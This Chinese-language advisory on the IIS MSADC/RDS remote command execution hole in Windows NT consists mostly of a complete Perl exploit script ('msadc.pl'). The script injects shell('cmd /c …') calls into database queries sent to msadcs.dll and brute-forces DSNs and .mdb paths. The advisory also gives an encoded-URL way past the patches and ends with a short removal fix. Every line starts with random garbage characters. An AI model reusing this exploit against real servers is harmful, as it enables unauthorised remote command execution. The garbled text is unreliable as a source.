IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$23*:)&J4 PIOG| E 涉及程序：
r{2V`h1/| Microsoft NT server
cBcfGNTJ~ 5^lF ksZ 描述：
t~_vzG 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
K
?uH Am KTL q~Ru 详细：
fz>3 如果你没有时间读详细内容的话，就删除:
VS`
tj c:\Program Files\Common Files\System\Msadc\msadcs.dll
E&>3 {uZI 有关的安全问题就没有了。
tV.qdy/]} ]rC2jB\,M 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
<KY \sb9 @2(7
ZxI 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
[l#
8}dy 关于利用ODBC远程漏洞的描述，请参看:
n92*:Y v\lhbpk http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Hreu 3N Yx#?lA2gx 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
im,H|u_f4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp f
wE
b z3- A2#c 这里不再论述。
j}s<Pn% 4 : ;l9to 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
]? 2xS?vd M9~eDw'Pr /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+;#z"m] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
B|I9Ex~L
Z2P DT ;@ <E #将下面这段保存为txt文件，然后: "perl -x 文件名"
&BOq%*+ K<3,=gL9[ #!perl
iEx
sGn]2 #
S jb[v # MSADC/RDS 'usage' (aka exploit) script
vC#_PI #
fl@=h[g#t # by rain.forest.puppy
x)}. @\&% #
&JUHm_wd&S # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r ,cz
yE/ # beta test and find errors!
E^s<5BC; K x4_`;> use Socket; use Getopt::Std;
LI~ofCp getopts("e:vd:h:XR", \%args);
^+ J3E4 =`st1K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X mb001 s2f6;Yc if (!defined $args{h} && !defined $args{R}) {
<Pn]{N print qq~
LC >bZ!(i# Usage: msadc.pl -h <host> { -d <delay> -X -v }
e};\"^H H -h <host> = host you want to scan (ip or domain)
'v^Z terr -d <seconds> = delay between calls, default 1 second
dgEH]9j& -X = dump Index Server path table, if available
iVaCX Xf ' -v = verbose
{u}d`%_.M -e = external dictionary file for step 5
=# /BCL7 u=QG%O#B Or a -R will resume a command session
tRtoA5 C}'Tmi ~; exit;}
{D{'
\]+ 18eB\4 NlD $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9B)<7JJX!J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0 k (s u
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8el\M/ u{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uD=FTx $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*`]#ntz 9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
D[H #W[ eo [eN. if (!defined $args{R}){ $ret = &has_msadc;
U0m 5Rc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\8^c"%v,: $eu-8E' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,@Fde=L w . "cmd /c ";
vk><S|[n $in=<STDIN>; chomp $in;
Mn<#rBE B $command="cmd /c " . $in ;
e+~Q58oD L,\wB7t if (defined $args{R}) {&load; exit;}
b[/uSwvi p )e?0m26 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-dyN
Ah?= &try_btcustmr;
dbsD\\,2%N 360b`zS print "\nStep 2: Trying to make our own DSN...";
Wm^RfxgN / &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}K.2 =O
o4O CF2 print "\nStep 3: Trying known DSNs...";
4:0y \M5u &known_dsn;
Jfs_ 9g5 ExxD
w_VGT print "\nStep 4: Trying known .mdbs...";
!;, Dlq-} &known_mdb;
ozOvpi:k3% =}K"@5J if (defined $args{e}){
Q<O(Ix print "\nStep 5: Trying dictionary of DSN names...";
$6DA<v^=z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&YOks .k 7#[8t d print "Sorry Charley...maybe next time?\n";
*l.tsICmbP exit;
@, Kl"i; |*5HNP ##############################################################################
efrVF5,y? x T 8pwTO sub sendraw { # ripped and modded from whisker
Z=.$mF E\ sleep($delay); # it's a DoS on the server! At least on mine...
yt[vd8O'c my ($pstr)=@_;
e. '6q
($3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!mIr_d2" die("Socket problems\n");
7^FJ+gN8b if(connect(S,pack "SnA4x8",2,80,$target)){
!v\ _<8 select(S); $|=1;
),rd7GB> print $pstr; my @in=<S>;
RQO&F $R= select(STDOUT); close(S);
:~wU/dEEiz return @in;
P*:9u > } else { die("Can't connect...\n"); }}
`G_k~ % ;_6 CV ##############################################################################
u`
L9Pj&v Iw[7;B5v sub make_header { # make the HTTP request
6F:< c my $msadc=<<EOT
[k{2)g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
b^^ .$Gu User-Agent: ACTIVEDATA
3PUyua' Host: $ip
c]PG5f xf Content-Length: $clen
Tfn BPO Connection: Keep-Alive
I6vy :5d U'p-Ko# ADCClientVersion:01.06
$mu*iW\{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L_O*?aaZ 0^9%E61Y R --!ADM!ROX!YOUR!WORLD!
nvbKW.[<f{ Content-Type: application/x-varg
s9[5 4 7?` Content-Length: $reqlen
zEy,aa :M TjY-C m EOT
Kd!.sB/% ; $msadc=~s/\n/\r\n/g;
| IB4-p return $msadc;}
SUN!8
qFA f >$V:e([
##############################################################################
E PiZe- jt`\n1q) sub make_req { # make the RDS request
_%]x-yH!@ my ($switch, $p1, $p2)=@_;
@;t6Slc"~ my $req=""; my $t1, $t2, $query, $dsn;
[ f;o3 *Y`c. n" if ($switch==1){ # this is the btcustmr.mdb query
vh d +A $query="Select * from Customers where City=" . make_shell();
B>UF dj]- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{,+MaH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3L^]J}| @/W~lJ!e elsif ($switch==2){ # this is general make table query
>m+Fm= $query="create table AZZ (B int, C varchar(10))";
/C
$dsn="$p1";}
`'G1"CX 1"wZ [. elsif ($switch==3){ # this is general exploit table query
P$# {a2 $query="select * from AZZ where C=" . make_shell();
u3vM ! $dsn="$p1";}
wfQ^3HL b Od<x
>@ elsif ($switch==4){ # attempt to hork file info from index server
FH)_L1n $query="select path from scope()";
>K n7A $dsn="Provider=MSIDXS;";}
&>A<{J@VL D~b _nFD elsif ($switch==5){ # bad query
;Q>+#5H6F8 $query="select";
c zg9tG8 $dsn="$p1";}
(sqI: a e#odr{2#4u $t1= make_unicode($query);
*!MMl]gU? $t2= make_unicode($dsn);
2bu > j1h $req = "\x02\x00\x03\x00";
Gy F $req.= "\x08\x00" . pack ("S1", length($t1));
m[DCA\M o@ $req.= "\x00\x00" . $t1 ;
9>k_z&< $req.= "\x08\x00" . pack ("S1", length($t2));
4l'`q+^- $req.= "\x00\x00" . $t2 ;
*2>kic
aH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W 9!K~g_ return $req;}
{ RC&Ub> :5[1Iepdn ##############################################################################
@! {Y9k2 v3b+Ddp sub make_shell { # this makes the shell() statement
DH Qs_8Df return "'|shell(\"$command\")|'";}
<O0.q . jSMxb a] ##############################################################################
2D2}
*);eW YkSHJ{ > sub make_unicode { # quick little function to convert to unicode
x@3"
SiC my ($in)=@_; my $out;
nArG
I}@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s("\]K return $out;}
ipC
<p?PpR vYg>^!Q ##############################################################################
n7/>+V+ Hu$y8_Udw sub rdo_success { # checks for RDO return success (this is kludge)
<DZ$"t my (@in) = @_; my $base=content_start(@in);
kRqe&N e if($in[$base]=~/multipart\/mixed/){
Ay0.D FL return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z(I=K BI return 0;}
s63!]LDr ha?M[Vyw4Q ##############################################################################
dJ {q}U iAo /Dnp2J sub make_dsn { # this makes a DSN for us
]j0/. pG my @drives=("c","d","e","f");
$38)_{ print "\nMaking DSN: ";
N/78Ub foreach $drive (@drives) {
k~*%Z!V}C print "$drive: ";
.Ta (v3om% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)&j@ ={0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#%g>^i={ky . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G%ZP ` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G|YNShK4=9 return 0 if $2 eq "404"; # not found/doesn't exist
|:]} u|O if($2 eq "200") {
m5v IS foreach $line (@results) {
;;|.qgxc~ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4L_)@n } } return 0;}
zbI|3 ZeqsXz ##############################################################################
e2yCWolmTS :gn&wi sub verify_exists {
{ H* my ($page)=@_;
:$*@S=8 O my @results=sendraw("GET $page HTTP/1.0\n\n");
NfWL3"&X return $results[0];}
bTt1y O F*T$n"^ ##############################################################################
]\y]8v5( (H8JV1J sub try_btcustmr {
i1S cXKO my @drives=("c","d","e","f");
[1nUq!uTm my @dirs=("winnt","winnt35","winnt351","win","windows");
Mc&Fj1h5 {y'4&vt<~ foreach $dir (@dirs) {
ey6ujV7! print "$dir -> "; # fun status so you can see progress
Zs4NN 2 ~ foreach $drive (@drives) {
?a-5^{{ print "$drive: "; # ditto
k [LV^oEg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Iz[ohn!f $reqlenlen=length( "$reqlen" );
6 {quO# ! $clen= 206 + $reqlenlen + $reqlen;
~ dk9 7Z8 )-X/"d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
]h,iyWSs if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
wXtp(YwlH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y,Lx6kU 5> lIrBf ##############################################################################
&->ngzg #{?~XS sub odbc_error {
fejC ,H4I my (@in)=@_; my $base;
9Dbbk/j| my $base = content_start(@in);
}3_ > if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7"F29 \ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a 7685Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j^%N:BQ& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\ef:H& r return $in[$base+4].$in[$base+5].$in[$base+6];}
^HxIy;EQ<z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I1 Otu~%d print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yfal'DqKF $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*E]: VZl
+D2I~hC0' ##############################################################################
W>5[_ d T baZFLr sub verbose {
\!x CmQ my ($in)=@_;
Y::O*I 2 return if !$verbose;
je5[.VT M print STDOUT "\n$in\n";}
C57m{R H q}!h(-y}5n ##############################################################################
80ox$ U ,Ha <lU2K sub save {
SF`(`h0e my ($p1, $p2, $p3, $p4)=@_;
|s;'] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
MT7B'hd print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~oJ"si close OUT;}
=^SxZ Bn \2]_NU5. ##############################################################################
\Hdsy="Dnh
t cO{CI sub load {
xP,b/T #a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X`1R &K;z^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3)O QgeKU @p=<IN>; close(IN);
]x{.qTtw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;s;3cC! $target= inet_aton($ip) || die("inet_aton problems");
P8Wv&5A print "Resuming to $ip ...";
Bhv$
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
XT4Gz|k if($p[1]==1) {
VZq ~ -$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S8Y\@C?5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-i1 f
]Bd my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
J!2j]?D/e if (rdo_success(@results)){print "Success!\n";}
:.r_4$F: else { print "failed\n"; verbose(odbc_error(@results));}}
I~ :gi@OVV elsif ($p[1]==3){
Ij$C@hH if(run_query("$p[3]")){
T@Y, 7ccpd print "Success!\n";} else { print "failed\n"; }}
yYaoA/0 elsif ($p[1]==4){
G[`1Yw$ if(run_query($drvst . "$p[3]")){
o+B) print "Success!\n"; } else { print "failed\n"; }}
@Ns[qn;9 exit;}
kY @(- z DU=2c4W9 ##############################################################################
loO"[8i.k L SP p sub create_table {
1`YU9? my ($in)=@_;
Z %Ozzp/ $reqlen=length( make_req(2,$in,"") ) - 28;
|q58XwU ` $reqlenlen=length( "$reqlen" );
/isalOT $clen= 206 + $reqlenlen + $reqlen;
J hfVm*, my @results=sendraw(make_header() . make_req(2,$in,""));
Fs]. Fa return 1 if rdo_success(@results);
vbVOWX6 my $temp= odbc_error(@results); verbose($temp);
x M(H4.< return 1 if $temp=~/Table 'AZZ' already exists/;
g;v;xlY`N return 0;}
fGO\f;P ^ lAM /
##############################################################################
TS#[[ ^!S nYFrp)DLK sub known_dsn {
wD=] U@t`, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
YZj*F-} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
NC#F:M;b "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
s2#Ia>5! "banner", "banners", "ads", "ADCDemo", "ADCTest");
i' 7+
?YL D:;idUO foreach $dSn (@dsns) {
LP=j/qf| print ".";
d 8DU[p next if (!is_access("DSN=$dSn"));
](A2,F
9(U if(create_table("DSN=$dSn")){
Y}1c>5{bE print "$dSn successful\n";
;4[[T%&v if(run_query("DSN=$dSn")){
} !AS? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5,pNqXR p print "Something's borked. Use verbose next time\n";}}} print "\n";}
l6y}>] PO`p.("h ##############################################################################
nuXL{ tg6 0] kKF<s sub is_access {
sl `jovT[Y my ($in)=@_;
p,goY F?? $reqlen=length( make_req(5,$in,"") ) - 28;
lQ-<T<g $reqlenlen=length( "$reqlen" );
Jsysk $R $clen= 206 + $reqlenlen + $reqlen;
!R"W2 Z4h my @results=sendraw(make_header() . make_req(5,$in,""));
\gk.[={^P my $temp= odbc_error(@results);
-}9^$}PR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
mAtqF
%V return 0;}
EU %,tp ^>?=L\[ ##############################################################################
!: ^q_q4 3o %vV* sub run_query {
I70c,4_G my ($in)=@_;
{]< G =]' $reqlen=length( make_req(3,$in,"") ) - 28;
8 o$rF7.- $reqlenlen=length( "$reqlen" );
eHuJFM $clen= 206 + $reqlenlen + $reqlen;
Bchv1KF my @results=sendraw(make_header() . make_req(3,$in,""));
I I+y return 1 if rdo_success(@results);
WJ25fTsG my $temp= odbc_error(@results); verbose($temp);
0RT 8N=B83 return 0;}
du66a+@t x}yl Rg`[ ##############################################################################
A^>@6d $2 A~2)ZdA N sub known_mdb {
N) H "'#- my @drives=("c","d","e","f","g");
XP:A"WK" my @dirs=("winnt","winnt35","winnt351","win","windows");
('tXv"fT my $dir, $drive, $mdb;
ZpV]X(Px(o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7C|!Wno[; IT1YF.i # this is sparse, because I don't know of many
}/F$ 73Xd my @sysmdbs=( "\\catroot\\icatalog.mdb",
AJ bCC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
c3^!S0U "\\system32\\certmdb.mdb",
_^r};}- } "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9%"7~YCDas U`%t&7) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
LE\=Y;% "\\cfusion\\cfapps\\forums\\forums_.mdb",
l1)~WqhE} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;!MQ@Fi^ "\\cfusion\\cfapps\\security\\realm_.mdb",
%.Ma_4o
Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-B
*W^-;* "\\cfusion\\database\\cfexamples.mdb",
C9!t&<\ } "\\cfusion\\database\\cfsnippets.mdb",
>
S>*JP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Nmj)TOEPW "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m G jB{Q+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
*M1GVhW(+ "\\cfusion\\database\\smpolicy.mdb",
:V(LBH0 "\\cfusion\\database\cypress.mdb",
0O9b
7F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C#kE{Qw10r "\\website\\cgi-win\\dbsample.mdb",
^#H a H "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
7k( }U_v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!6 KX^j- ); #these are just
Y%XF64)6 foreach $drive (@drives) {
*siX: ?l foreach $dir (@dirs){
~U0%}Bbh foreach $mdb (@sysmdbs) {
Qt>K{ >9Cf print ".";
l 88= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2R[v*i^S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
a!9'y c if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
b=,B Le\ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(/e&m=~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
f#0HiE! ]n!V foreach $drive (@drives) {
Mu\V3`j foreach $mdb (@mdbs) {
x]{P.7IO' print ".";
Mg;pN K\n if(create_table($drv . $drive . $dir . $mdb)){
E#$Jg|e print "\n" . $drive . $dir . $mdb . " successful\n";
rH3 U;K! if(run_query($drv . $drive . $dir . $mdb)){
[';o -c"! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
hdPGqJE } else { print "Something's borked. Use verbose next time\n"; }}}}
%Mda<3P }
r#sg5aS7O| jeu'K vhe ##############################################################################
q Gk.7wf% k=]e7~! sub hork_idx {
79T_9 }M print "\nAttempting to dump Index Server tables...\n";
Uwc% '=@ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x? Abk $reqlen=length( make_req(4,"","") ) - 28;
AY AU $reqlenlen=length( "$reqlen" );
+
[w 0;W_ $clen= 206 + $reqlenlen + $reqlen;
D+]mKPB my @results=sendraw2(make_header() . make_req(4,"",""));
q+?&w'8 if (rdo_success(@results)){
a*P v^Np-v my $max=@results; my $c; my %d;
/Q1 b%C for($c=19; $c<$max; $c++){
_3` G ZeGV $results[$c]=~s/\x00//g;
%;[D Mc/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*k{Llq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
b)diYsTH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^?cu9S3 $d{"$1$2"}="";}
yu;EL>G_AY foreach $c (keys %d){ print "$c\n"; }
[V' c } else {print "Index server doesn't seem to be installed.\n"; }}
)Te\6qM ~7: q+\ ##############################################################################
`<YMk p[ QVT0.GzR sub dsn_dict {
G\sx'#Whc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w
<r*& while(<IN>){
uw+nll*W% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
LJeq{Z next if (!is_access("DSN=$dSn"));
#{6VdWZ if(create_table("DSN=$dSn")){
xWxHi6U( print "$dSn successful\n";
* ~P B if(run_query("DSN=$dSn")){
LIDi0jbrq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3f`Uoh+ print "Something's borked. Use verbose next time\n";}}}
v;(cJ,l print "\n"; close(IN);}
)G2Bx+Z;L Ne
u$SP ##############################################################################
8-;.Ejz!\A ,RPb <3
B sub sendraw2 { # ripped and modded from whisker
f#s 6 'g
sleep($delay); # it's a DoS on the server! At least on mine...
)z7CT|h7S my ($pstr)=@_;
`wi+/^); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f7&ni#^Ztj die("Socket problems\n");
GgpE"M? if(connect(S,pack "SnA4x8",2,80,$target)){
fzJiW@-T print "Connected. Getting data";
JI@iT6.%IX open(OUT,">raw.out"); my @in;
h4n~V:nNm select(S); $|=1; print $pstr;
A ROHe while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ToHx!,tDS close(OUT); select(STDOUT); close(S); return @in;
zZ[kU1Fyv } else { die("Can't connect...\n"); }}
`{#""I^_ +Z"Wa0wA ##############################################################################
C6>_ wl] a!o%x sub content_start { # this will take in the server headers
!!.@F;]W my (@in)=@_; my $c;
jZ~girA for ($c=1;$c<500;$c++) {
EZj rX>"# if($in[$c] =~/^\x0d\x0a/){
6nA9r5Ghv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
o "r else { return $c+1; }}}
YIN* '!N return -1;} # it should never get here actually
`Am|9LOT }0&Fu?sP ##############################################################################
gbdzS6XW~ |E6Thvl$ sub funky {
Ox)<"8M my (@in)=@_; my $error=odbc_error(@in);
Wps^wY if($error=~/ADO could not find the specified provider/){
Dc xT6 [ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5%TSUU+<I exit;}
&&;.7E if($error=~/A Handler is required/){
s(X\7Hz_nC print "\nServer has custom handler filters (they most likely are patched)\n";
]+G
.S-a exit;}
1#Vd)vSP if($error=~/specified Handler has denied Access/){
Yv1yRoDv print "\nServer has custom handler filters (they most likely are patched)\n";
2z;nPup, exit;}}
D&fOZVuqZ |K. I%B ##############################################################################
PVi;h%>Y OTYkJEC8\N sub has_msadc {
O=K0 KOj my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,L%]}8EL" my $base=content_start(@results);
X[/7vSqZ@w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
WReHep return 0;}
%Ja0:e !}}
)f/ ########################
K7s[Fa6J o5]-Kuw` $JOtUB{ 解决方案：
GN(,` y 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+/_X So 2、移除web 目录: /msadc
